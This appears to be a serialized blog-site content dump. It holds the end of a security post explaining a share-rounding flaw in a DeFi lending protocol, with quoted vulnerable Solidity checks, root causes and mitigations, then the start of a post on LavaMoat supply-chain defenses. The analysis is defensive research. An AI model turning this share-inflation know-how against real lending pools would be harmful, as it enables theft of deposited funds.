",{"type":26,"tag":116,"props":45831,"children":45834},{"href":45832,"rel":45833},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[120],[45835],{"type":32,"value":45836},"the code responsible",{"type":32,"value":45838}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":26,"tag":116,"props":45840,"children":45843},{"href":45841,"rel":45842},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[120],[45844],{"type":32,"value":45845},"no way to atomically self-bankrupt",{"type":32,"value":353},{"type":26,"tag":465,"props":45848,"children":45850},{"className":4186,"code":45849,"language":4185,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n _poolToken,\n _amount\n)\n * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n / PRECISION_FACTOR_E18\n \u003C borrowAmount;\n\nif (state == true) {\n revert ResultsInBadDebt();\n}\n",[45851],{"type":26,"tag":53,"props":45852,"children":45853},{"__ignoreMap":7},[45854,45885,45893,45901,45908,45930,45943,45950,45971,46001,46013,46025,46032,46056,46073],{"type":26,"tag":475,"props":45855,"children":45856},{"class":477,"line":478},[45857,45862,45867,45871,45876,45881],{"type":26,"tag":475,"props":45858,"children":45859},{"style":505},[45860],{"type":32,"value":45861},"uint256",{"type":26,"tag":475,"props":45863,"children":45864},{"style":499},[45865],{"type":32,"value":45866}," withdrawValue ",{"type":26,"tag":475,"props":45868,"children":45869},{"style":714},[45870],{"type":32,"value":786},{"type":26,"tag":475,"props":45872,"children":45873},{"style":499},[45874],{"type":32,"value":45875}," WISE_ORACLE.",{"type":26,"tag":475,"props":45877,"children":45878},{"style":493},[45879],{"type":32,"value":45880},"getTokensInETH",{"type":26,"tag":475,"props":45882,"children":45883},{"style":499},[45884],{"type":32,"value":3169},{"type":26,"tag":475,"props":45886,"children":45887},{"class":477,"line":516},[45888],{"type":26,"tag":475,"props":45889,"children":45890},{"style":499},[45891],{"type":32,"value":45892}," _poolToken,\n",{"type":26,"tag":475,"props":45894,"children":45895},{"class":477,"line":539},[45896],{"type":26,"tag":475,"props":45897,"children":45898},{"style":499},[45899],{"type":32,"value":45900}," _amount\n",{"type":26,"tag":475,"props":45902,"children":45903},{"class":477,"line":548},[45904],{"type":26,"tag":475,"props":45905,"children":45906},{"style":499},[45907],{"type":32,"value":647},{"type":26,"tag":475,"props":45909,"children":45910},{"class":477,"line":558},[45911,45915,45920,45925],{"type":26,"tag":475,"props":45912,"children":45913},{"style":714},[45914],{"type":32,"value":17268},{"type":26,"tag":475,"props":45916,"children":45917},{"style":499},[45918],{"type":32,"value":45919}," WISE_LENDING.",{"type":26,"tag":475,"props":45921,"children":45922},{"style":493},[45923],{"type":32,"value":45924},"lendingPoolData",{"type":26,"tag":475,"props":45926,"children":45927},{"style":499},[45928],{"type":32,"value":45929},"(_poolToken).collateralFactor\n",{"type":26,"tag":475,"props":45931,"children":45932},{"class":477,"line":582},[45933,45938],{"type":26,"tag":475,"props":45934,"children":45935},{"style":714},[45936],{"type":32,"value":45937}," /",{"type":26,"tag":475,"props":45939,"children":45940},{"style":499},[45941],{"type":32,"value":45942}," PRECISION_FACTOR_E18;\n",{"type":26,"tag":475,"props":45944,"children":45945},{"class":477,"line":596},[45946],{"type":26,"tag":475,"props":45947,"children":45948},{"emptyLinePlaceholder":18},[45949],{"type":32,"value":545},{"type":26,"tag":475,"props":45951,"children":45952},{"class":477,"line":610},[45953,45957,45962,45966],{"type":26,"tag":475,"props":45954,"children":45955},{"style":505},[45956],{"type":32,"value":29388},{"type":26,"tag":475,"props":45958,"children":45959},{"style":499},[45960],{"type":32,"value":45961}," state ",{"type":26,"tag":475,"props":45963,"children":45964},{"style":714},[45965],{"type":32,"value":786},{"type":26,"tag":475,"props":45967,"children":45968},{"style":499},[45969],{"type":32,"value":45970}," borrowPercentageCap\n",{"type":26,"tag":475,"props":45972,"children":45973},{"class":477,"line":650},[45974,45978,45982,45987,45992,45996],{"type":26,"tag":475,"props":45975,"children":45976},{"style":714},[45977],{"type":32,"value":17268},{"type":26,"tag":475,"props":45979,"children":45980},{"style":499},[45981],{"type":32,"value":2775},{"type":26,"tag":475,"props":45983,"children":45984},{"style":493},[45985],{"type":32,"value":45986},"overallETHCollateralsWeighted",{"type":26,"tag":475,"props":45988,"children":45989},{"style":499},[45990],{"type":32,"value":45991},"(_nftId) ",{"type":26,"tag":475,"props":45993,"children":45994},{"style":714},[45995],{"type":32,"value":4039},{"type":26,"tag":475,"props":45997,"children":45998},{"style":499},[45999],{"type":32,"value":46000}," withdrawValue)\n",{"type":26,"tag":475,"props":46002,"children":46003},{"class":477,"line":679},[46004,46008],{"type":26,"tag":475,"props":46005,"children":46006},{"style":714},[46007],{"type":32,"value":45937},{"type":26,"tag":475,"props":46009,"children":46010},{"style":499},[46011],{"type":32,"value":46012}," PRECISION_FACTOR_E18\n",{"type":26,"tag":475,"props":46014,"children":46015},{"class":477,"line":735},[46016,46020],{"type":26,"tag":475,"props":46017,"children":46018},{"style":714},[46019],{"type":32,"value":32144},{"type":26,"tag":475,"props":46021,"children":46022},{"style":499},[46023],{"type":32,"value":46024}," borrowAmount;\n",{"type":26,"tag":475,"props":46026,"children":46027},{"class":477,"line":744},[46028],{"type":26,"tag":475,"props":46029,"children":46030},{"emptyLinePlaceholder":18},[46031],{"type":32,"value":545},{"type":26,"tag":475,"props":46033,"children":46034},{"class":477,"line":753},[46035,46039,46044,46048,46052],{"type":26,"tag":475,"props":46036,"children":46037},{"style":586},[46038],{"type":32,"value":15285},{"type":26,"tag":475,"props":46040,"children":46041},{"style":499},[46042],{"type":32,"value":46043}," (state ",{"type":26,"tag":475,"props":46045,"children":46046},{"style":714},[46047],{"type":32,"value":8287},{"type":26,"tag":475,"props":46049,"children":46050},{"style":482},[46051],{"type":32,"value":1214},{"type":26,"tag":475,"props":46053,"children":46054},{"style":499},[46055],{"type":32,"value":676},{"type":26,"tag":475,"props":46057,"children":46058},{"class":477,"line":761},[46059,46064,46069],{"type":26,"tag":475,"props":46060,"children":46061},{"style":586},[46062],{"type":32,"value":46063}," revert",{"type":26,"tag":475,"props":46065,"children":46066},{"style":493},[46067],{"type":32,"value":46068}," ResultsInBadDebt",{"type":26,"tag":475,"props":46070,"children":46071},{"style":499},[46072],{"type":32,"value":3376},{"type":26,"tag":475,"props":46074,"children":46075},{"class":477,"line":770},[46076],{"type":26,"tag":475,"props":46077,"children":46078},{"style":499},[46079],{"type":32,"value":3607},{"type":26,"tag":35,"props":46081,"children":46082},{},[46083],{"type":32,"value":46084},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":26,"tag":35,"props":46086,"children":46087},{},[46088],{"type":32,"value":46089},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":26,"tag":35,"props":46091,"children":46092},{},[46093,46095,46101],{"type":32,"value":46094},"And indeed, ",{"type":26,"tag":116,"props":46096,"children":46099},{"href":46097,"rel":46098},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[120],[46100],{"type":32,"value":45805},{"type":32,"value":46102}," rounds up the share value.",{"type":26,"tag":465,"props":46104,"children":46106},{"className":4186,"code":46105,"language":4185,"meta":7,"style":7},"function _calculateShares(\n uint256 _product,\n uint256 _pseudo,\n bool _maxSharePrice\n)\n private\n pure\n returns (uint256)\n{\n return _maxSharePrice == true\n ? _product % _pseudo == 0\n ? _product / _pseudo\n : _product / _pseudo + 1\n : _product / _pseudo;\n}\n",[46107],{"type":26,"tag":53,"props":46108,"children":46109},{"__ignoreMap":7},[46110,46126,46143,46159,46172,46179,46187,46195,46215,46222,46243,46264,46286,46315,46336],{"type":26,"tag":475,"props":46111,"children":46112},{"class":477,"line":478},[46113,46117,46122],{"type":26,"tag":475,"props":46114,"children":46115},{"style":482},[46116],{"type":32,"value":31077},{"type":26,"tag":475,"props":46118,"children":46119},{"style":493},[46120],{"type":32,"value":46121}," _calculateShares",{"type":26,"tag":475,"props":46123,"children":46124},{"style":499},[46125],{"type":32,"value":3169},{"type":26,"tag":475,"props":46127,"children":46128},{"class":477,"line":516},[46129,46134,46139],{"type":26,"tag":475,"props":46130,"children":46131},{"style":505},[46132],{"type":32,"value":46133}," uint256",{"type":26,"tag":475,"props":46135,"children":46136},{"style":2375},[46137],{"type":32,"value":46138}," _product",{"type":26,"tag":475,"props":46140,"children":46141},{"style":499},[46142],{"type":32,"value":2425},{"type":26,"tag":475,"props":46144,"children":46145},{"class":477,"line":539},[46146,46150,46155],{"type":26,"tag":475,"props":46147,"children":46148},{"style":505},[46149],{"type":32,"value":46133},{"type":26,"tag":475,"props":46151,"children":46152},{"style":2375},[46153],{"type":32,"value":46154}," _pseudo",{"type":26,"tag":475,"props":46156,"children":46157},{"style":499},[46158],{"type":32,"value":2425},{"type":26,"tag":475,"props":46160,"children":46161},{"class":477,"line":548},[46162,46167],{"type":26,"tag":475,"props":46163,"children":46164},{"style":505},[46165],{"type":32,"value":46166}," bool",{"type":26,"tag":475,"props":46168,"children":46169},{"style":2375},[46170],{"type":32,"value":46171}," _maxSharePrice\n",{"type":26,"tag":475,"props":46173,"children":46174},{"class":477,"line":558},[46175],{"type":26,"tag":475,"props":46176,"children":46177},{"style":499},[46178],{"type":32,"value":647},{"type":26,"tag":475,"props":46180,"children":46181},{"class":477,"line":582},[46182],{"type":26,"tag":475,"props":46183,"children":46184},{"style":482},[46185],{"type":32,"value":46186}," private\n",{"type":26,"tag":475,"props":46188,"children":46189},{"class":477,"line":596},[46190],{"type":26,"tag":475,"props":46191,"children":46192},{"style":482},[46193],{"type":32,"value":46194}," pure\n",{"type":26,"tag":475,"props":46196,"children":46197},{"class":477,"line":610},[46198,46203,46207,46211],{"type":26,"tag":475,"props":46199,"children":46200},{"style":586},[46201],{"type":32,"value":46202}," returns",{"type":26,"tag":475,"props":46204,"children":46205},{"style":499},[46206],{"type":32,"value":2775},{"type":26,"tag":475,"props":46208,"children":46209},{"style":505},[46210],{"type":32,"value":45861},{"type":26,"tag":475,"props":46212,"children":46213},{"style":499},[46214],{"type":32,"value":647},{"type":26,"tag":475,"props":46216,"children":46217},{"class":477,"line":650},[46218],{"type":26,"tag":475,"props":46219,"children":46220},{"style":499},[46221],{"type":32,"value":10589},{"type":26,"tag":475,"props":46223,"children":46224},{"class":477,"line":679},[46225,46229,46234,46238],{"type":26,"tag":475,"props":46226,"children":46227},{"style":586},[46228],{"type":32,"value":16695},{"type":26,"tag":475,"props":46230,"children":46231},{"style":499},[46232],{"type":32,"value":46233}," _maxSharePrice ",{"type":26,"tag":475,"props":46235,"children":46236},{"style":714},[46237],{"type":32,"value":8287},{"type":26,"tag":475,"props":46239,"children":46240},{"style":482},[46241],{"type":32,"value":46242}," true\n",{"type":26,"tag":475,"props":46244,"children":46245},{"class":477,"line":735},[46246,46251,46256,46260],{"type":26,"tag":475,"props":46247,"children":46248},{"style":714},[46249],{"type":32,"value":46250}," ?",{"type":26,"tag":475,"props":46252,"children":46253},{"style":499},[46254],{"type":32,"value":46255}," _product % _pseudo ",{"type":26,"tag":475,"props":46257,"children":46258},{"style":714},[46259],{"type":32,"value":8287},{"type":26,"tag":475,"props":46261,"children":46262},{"style":903},[46263],{"type":32,"value":23979},{"type":26,"tag":475,"props":46265,"children":46266},{"class":477,"line":744},[46267,46272,46277,46281],{"type":26,"tag":475,"props":46268,"children":46269},{"style":714},[46270],{"type":32,"value":46271}," ?",{"type":26,"tag":475,"props":46273,"children":46274},{"style":499},[46275],{"type":32,"value":46276}," _product ",{"type":26,"tag":475,"props":46278,"children":46279},{"style":714},[46280],{"type":32,"value":4292},{"type":26,"tag":475,"props":46282,"children":46283},{"style":499},[46284],{"type":32,"value":46285}," _pseudo\n",{"type":26,"tag":475,"props":46287,"children":46288},{"class":477,"line":753},[46289,46294,46298,46302,46307,46311],{"type":26,"tag":475,"props":46290,"children":46291},{"style":714},[46292],{"type":32,"value":46293}," :",{"type":26,"tag":475,"props":46295,"children":46296},{"style":499},[46297],{"type":32,"value":46276},{"type":26,"tag":475,"props":46299,"children":46300},{"style":714},[46301],{"type":32,"value":4292},{"type":26,"tag":475,"props":46303,"children":46304},{"style":499},[46305],{"type":32,"value":46306}," _pseudo ",{"type":26,"tag":475,"props":46308,"children":46309},{"style":714},[46310],{"type":32,"value":1106},{"type":26,"tag":475,"props":46312,"children":46313},{"style":903},[46314],{"type":32,"value":19151},{"type":26,"tag":475,"props":46316,"children":46317},{"class":477,"line":761},[46318,46323,46327,46331],{"type":26,"tag":475,"props":46319,"children":46320},{"style":714},[46321],{"type":32,"value":46322}," :",{"type":26,"tag":475,"props":46324,"children":46325},{"style":499},[46326],{"type":32,"value":46276},{"type":26,"tag":475,"props":46328,"children":46329},{"style":714},[46330],{"type":32,"value":4292},{"type":26,"tag":475,"props":46332,"children":46333},{"style":499},[46334],{"type":32,"value":46335}," _pseudo;\n",{"type":26,"tag":475,"props":46337,"children":46338},{"class":477,"line":770},[46339],{"type":26,"tag":475,"props":46340,"children":46341},{"style":499},[46342],{"type":32,"value":3607},{"type":26,"tag":35,"props":46344,"children":46345},{},[46346,46351],{"type":26,"tag":2615,"props":46347,"children":46348},{},[46349],{"type":32,"value":46350},"Regardless of which way the share rounding occurs, this is a bug",{"type":32,"value":46352},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":26,"tag":35,"props":46354,"children":46355},{},[46356],{"type":32,"value":46357},"This is a really tricky invariant to reason about!",{"type":26,"tag":27,"props":46359,"children":46361},{"id":46360},"root-cause",[46362],{"type":32,"value":46363},"Root Cause",{"type":26,"tag":35,"props":46365,"children":46366},{},[46367],{"type":32,"value":46368},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":26,"tag":35,"props":46370,"children":46371},{},[46372],{"type":32,"value":46373},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":26,"tag":465,"props":46375,"children":46377},{"className":4186,"code":46376,"language":4185,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[46378],{"type":26,"tag":53,"props":46379,"children":46380},{"__ignoreMap":7},[46381],{"type":26,"tag":475,"props":46382,"children":46383},{"class":477,"line":478},[46384,46389,46393,46398,46402],{"type":26,"tag":475,"props":46385,"children":46386},{"style":499},[46387],{"type":32,"value":46388},"totalDepositShares ",{"type":26,"tag":475,"props":46390,"children":46391},{"style":714},[46392],{"type":32,"value":4282},{"type":26,"tag":475,"props":46394,"children":46395},{"style":499},[46396],{"type":32,"value":46397}," _amount ",{"type":26,"tag":475,"props":46399,"children":46400},{"style":714},[46401],{"type":32,"value":4292},{"type":26,"tag":475,"props":46403,"children":46404},{"style":499},[46405],{"type":32,"value":46406}," pseudoTotalPool\n",{"type":26,"tag":35,"props":46408,"children":46409},{},[46410],{"type":32,"value":46411},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":26,"tag":35,"props":46413,"children":46414},{},[46415,46417,46421],{"type":32,"value":46416},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":26,"tag":2615,"props":46418,"children":46419},{},[46420],{"type":32,"value":19625},{"type":32,"value":46422}," integer division?",{"type":26,"tag":27,"props":46424,"children":46426},{"id":46425},"mitigations",[46427],{"type":32,"value":46428},"Mitigations",{"type":26,"tag":35,"props":46430,"children":46431},{},[46432],{"type":32,"value":46433},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":26,"tag":35,"props":46435,"children":46436},{},[46437,46439,46446],{"type":32,"value":46438},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":26,"tag":116,"props":46440,"children":46443},{"href":46441,"rel":46442},"https://twitter.com/danielvf/status/1746306320553152615",[120],[46444],{"type":32,"value":46445},"@danielvf notes",{"type":32,"value":46447},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":26,"tag":465,"props":46449,"children":46451},{"className":4186,"code":46450,"language":4185,"meta":7,"style":7},"if (_totalSupply == 0) {\n liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[46452],{"type":26,"tag":53,"props":46453,"children":46454},{"__ignoreMap":7},[46455,46479,46526,46560],{"type":26,"tag":475,"props":46456,"children":46457},{"class":477,"line":478},[46458,46462,46467,46471,46475],{"type":26,"tag":475,"props":46459,"children":46460},{"style":586},[46461],{"type":32,"value":15285},{"type":26,"tag":475,"props":46463,"children":46464},{"style":499},[46465],{"type":32,"value":46466}," (_totalSupply ",{"type":26,"tag":475,"props":46468,"children":46469},{"style":714},[46470],{"type":32,"value":8287},{"type":26,"tag":475,"props":46472,"children":46473},{"style":903},[46474],{"type":32,"value":2752},{"type":26,"tag":475,"props":46476,"children":46477},{"style":499},[46478],{"type":32,"value":676},{"type":26,"tag":475,"props":46480,"children":46481},{"class":477,"line":516},[46482,46487,46491,46496,46501,46506,46511,46516,46521],{"type":26,"tag":475,"props":46483,"children":46484},{"style":499},[46485],{"type":32,"value":46486}," liquidity ",{"type":26,"tag":475,"props":46488,"children":46489},{"style":714},[46490],{"type":32,"value":786},{"type":26,"tag":475,"props":46492,"children":46493},{"style":499},[46494],{"type":32,"value":46495}," Math.",{"type":26,"tag":475,"props":46497,"children":46498},{"style":493},[46499],{"type":32,"value":46500},"sqrt",{"type":26,"tag":475,"props":46502,"children":46503},{"style":499},[46504],{"type":32,"value":46505},"(amount0.",{"type":26,"tag":475,"props":46507,"children":46508},{"style":493},[46509],{"type":32,"value":46510},"mul",{"type":26,"tag":475,"props":46512,"children":46513},{"style":499},[46514],{"type":32,"value":46515},"(amount1)).",{"type":26,"tag":475,"props":46517,"children":46518},{"style":493},[46519],{"type":32,"value":46520},"sub",{"type":26,"tag":475,"props":46522,"children":46523},{"style":499},[46524],{"type":32,"value":46525},"(MINIMUM_LIQUIDITY);\n",{"type":26,"tag":475,"props":46527,"children":46528},{"class":477,"line":539},[46529,46534,46538,46542,46546,46550,46555],{"type":26,"tag":475,"props":46530,"children":46531},{"style":493},[46532],{"type":32,"value":46533}," _mint",{"type":26,"tag":475,"props":46535,"children":46536},{"style":499},[46537],{"type":32,"value":626},{"type":26,"tag":475,"props":46539,"children":46540},{"style":505},[46541],{"type":32,"value":32339},{"type":26,"tag":475,"props":46543,"children":46544},{"style":499},[46545],{"type":32,"value":626},{"type":26,"tag":475,"props":46547,"children":46548},{"style":903},[46549],{"type":32,"value":3732},{"type":26,"tag":475,"props":46551,"children":46552},{"style":499},[46553],{"type":32,"value":46554},"), MINIMUM_LIQUIDITY); ",{"type":26,"tag":475,"props":46556,"children":46557},{"style":552},[46558],{"type":32,"value":46559},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":26,"tag":475,"props":46561,"children":46562},{"class":477,"line":548},[46563,46568,46572],{"type":26,"tag":475,"props":46564,"children":46565},{"style":499},[46566],{"type":32,"value":46567},"} ",{"type":26,"tag":475,"props":46569,"children":46570},{"style":586},[46571],{"type":32,"value":3023},{"type":26,"tag":475,"props":46573,"children":46574},{"style":499},[46575],{"type":32,"value":579},{"type":26,"tag":35,"props":46577,"children":46578},{},[46579,46581,46588],{"type":32,"value":46580},"Alternatively, ",{"type":26,"tag":116,"props":46582,"children":46585},{"href":46583,"rel":46584},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[120],[46586],{"type":32,"value":46587},"storing the conversion rate separately",{"type":32,"value":46589}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":26,"tag":465,"props":46591,"children":46593},{"className":4186,"code":46592,"language":4185,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[46594],{"type":26,"tag":53,"props":46595,"children":46596},{"__ignoreMap":7},[46597,46632],{"type":26,"tag":475,"props":46598,"children":46599},{"class":477,"line":478},[46600,46605,46609,46614,46618,46623,46627],{"type":26,"tag":475,"props":46601,"children":46602},{"style":499},[46603],{"type":32,"value":46604},"accrualIndices.borrowed ",{"type":26,"tag":475,"props":46606,"children":46607},{"style":714},[46608],{"type":32,"value":786},{"type":26,"tag":475,"props":46610,"children":46611},{"style":499},[46612],{"type":32,"value":46613}," accrualIndices.borrowed ",{"type":26,"tag":475,"props":46615,"children":46616},{"style":714},[46617],{"type":32,"value":4282},{"type":26,"tag":475,"props":46619,"children":46620},{"style":499},[46621],{"type":32,"value":46622}," borrowInterestFactor ",{"type":26,"tag":475,"props":46624,"children":46625},{"style":714},[46626],{"type":32,"value":4292},{"type":26,"tag":475,"props":46628,"children":46629},{"style":499},[46630],{"type":32,"value":46631}," precision;\n",{"type":26,"tag":475,"props":46633,"children":46634},{"class":477,"line":516},[46635,46640,46644,46649,46653,46658,46662],{"type":26,"tag":475,"props":46636,"children":46637},{"style":499},[46638],{"type":32,"value":46639},"accrualIndices.deposited ",{"type":26,"tag":475,"props":46641,"children":46642},{"style":714},[46643],{"type":32,"value":786},{"type":26,"tag":475,"props":46645,"children":46646},{"style":499},[46647],{"type":32,"value":46648}," accrualIndices.deposited ",{"type":26,"tag":475,"props":46650,"children":46651},{"style":714},[46652],{"type":32,"value":4282},{"type":26,"tag":475,"props":46654,"children":46655},{"style":499},[46656],{"type":32,"value":46657}," depositInterestFactor ",{"type":26,"tag":475,"props":46659,"children":46660},{"style":714},[46661],{"type":32,"value":4292},{"type":26,"tag":475,"props":46663,"children":46664},{"style":499},[46665],{"type":32,"value":46631},{"type":26,"tag":35,"props":46667,"children":46668},{},[46669],{"type":32,"value":46670},"We also want to note some general takeaways:",{"type":26,"tag":35,"props":46672,"children":46673},{},[46674,46676,46681],{"type":32,"value":46675},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":26,"tag":2615,"props":46677,"children":46678},{},[46679],{"type":32,"value":46680},"apply the state changes and check the invariant",{"type":32,"value":353},{"type":26,"tag":35,"props":46683,"children":46684},{},[46685],{"type":32,"value":46686},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":26,"tag":35,"props":46688,"children":46689},{},[46690],{"type":32,"value":46691},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":26,"tag":27,"props":46693,"children":46694},{"id":2533},[46695],{"type":32,"value":2536},{"type":26,"tag":35,"props":46697,"children":46698},{},[46699],{"type":32,"value":46700},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":26,"tag":35,"props":46702,"children":46703},{},[46704],{"type":32,"value":46705},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":26,"tag":2548,"props":46707,"children":46708},{},[46709],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":46711},[46712,46713,46714,46718,46719,46720],{"id":28717,"depth":516,"text":28720},{"id":45634,"depth":516,"text":45637},{"id":45753,"depth":516,"text":45756,"children":46715},[46716,46717],{"id":45764,"depth":539,"text":45767},{"id":45802,"depth":539,"text":45805},{"id":46360,"depth":516,"text":46363},{"id":46425,"depth":516,"text":46428},{"id":2533,"depth":516,"text":2536},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":46725,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":46726,"description":46727,"author":46728,"image":46729,"date":46731,"isFeatured":18,"onBlogPage":18,"body":46732,"_type":2566,"_id":50210,"_source":2568,"_file":50211,"_stem":50212,"_extension":2571},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[12,13],{"src":46730},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":23,"children":46733,"toc":50189},[46734,46738,46759,46764,46768,46773,46812,46818,46833,46851,46856,46861,46866,46879,47186,47212,47225,47230,47235,47249,47254,47267,47281,47512,47533,47568,47574,47579,47584,47798,47819,47825,47837,47927,47949,47985,47993,48011,48267,48293,48299,48313,48511,48530,48936,48949,48955,48974,49067,49072,49078,49091,49104,49190,49196,49208,49293,49305,49318,49324,49329,49343,49670,49675,49680,49686,49712,49767,49787,49840,49846,49851,49870,49881,50075,50081,50104,50110,50115,50128,50133,50138,50142,50147,50155,50185],{"type":26,"tag":27,"props":46735,"children":46736},{"id":18664},[46737],{"type":32,"value":18667},{"type":26,"tag":35,"props":46739,"children":46740},{},[46741,46748,46750,46757],{"type":26,"tag":116,"props":46742,"children":46745},{"href":46743,"rel":46744},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[120],[46746],{"type":32,"value":46747},"Supply chain",{"type":32,"value":46749}," attacks are becoming ",{"type":26,"tag":116,"props":46751,"children":46754},{"href":46752,"rel":46753},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[120],[46755],{"type":32,"value":46756},"increasingly popular in Web3",{"type":32,"value":46758},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":26,"tag":35,"props":46760,"children":46761},{},[46762],{"type":32,"value":46763},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":26,"tag":41,"props":46765,"children":46766},{"id":28717},[46767],{"type":32,"value":28720},{"type":26,"tag":35,"props":46769,"children":46770},{},[46771],{"type":32,"value":46772},"It is important to note that there are three different versions of LavaMoat:",{"type":26,"tag":181,"props":46774,"children":46775},{},[46776,46788,46800],{"type":26,"tag":86,"props":46777,"children":46778},{},[46779,46786],{"type":26,"tag":116,"props":46780,"children":46783},{"href":46781,"rel":46782},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[120],[46784],{"type":32,"value":46785},"Lavamoat Browserify",{"type":32,"value":46787}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":26,"tag":86,"props":46789,"children":46790},{},[46791,46798],{"type":26,"tag":116,"props":46792,"children":46795},{"href":46793,"rel":46794},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[120],[46796],{"type":32,"value":46797},"NodeJS Lavamoat",{"type":32,"value":46799}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":26,"tag":86,"props":46801,"children":46802},{},[46803,46810],{"type":26,"tag":116,"props":46804,"children":46807},{"href":46805,"rel":46806},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[120],[46808],{"type":32,"value":46809},"Lavamoat allow-scripts",{"type":32,"value":46811}," are used to prevent malicious code execution on lifecycle scripts.",{"type":26,"tag":41,"props":46813,"children":46815},{"id":46814},"lavamoats-security-features",[46816],{"type":32,"value":46817},"Lavamoat's Security Features",{"type":26,"tag":35,"props":46819,"children":46820},{},[46821,46823,46831],{"type":32,"value":46822},"The three most important features of Lavamoat",{"type":26,"tag":15179,"props":46824,"children":46825},{},[46826],{"type":26,"tag":116,"props":46827,"children":46829},{"href":29326,"ariaDescribedBy":46828,"dataFootnoteRef":7,"id":29328},[15186],[46830],{"type":32,"value":3722},{"type":32,"value":46832}," are:",{"type":26,"tag":82,"props":46834,"children":46835},{},[46836,46841,46846],{"type":26,"tag":86,"props":46837,"children":46838},{},[46839],{"type":32,"value":46840},"Policy Files",{"type":26,"tag":86,"props":46842,"children":46843},{},[46844],{"type":32,"value":46845},"NPM Anti Hijacking",{"type":26,"tag":86,"props":46847,"children":46848},{},[46849],{"type":32,"value":46850},"Scuttling",{"type":26,"tag":35,"props":46852,"children":46853},{},[46854],{"type":32,"value":46855},"Let's go over them one by one.",{"type":26,"tag":70,"props":46857,"children":46859},{"id":46858},"policy-files",[46860],{"type":32,"value":46840},{"type":26,"tag":35,"props":46862,"children":46863},{},[46864],{"type":32,"value":46865},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":26,"tag":35,"props":46867,"children":46868},{},[46869,46871,46878],{"type":32,"value":46870},"For example, take the ",{"type":26,"tag":116,"props":46872,"children":46875},{"href":46873,"rel":46874},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[120],[46876],{"type":32,"value":46877},"Metamask Snap policy file",{"type":32,"value":179},{"type":26,"tag":465,"props":46880,"children":46882},{"className":2332,"code":46881,"language":2334,"meta":7,"style":7}," \"@metamask/providers\": {\n 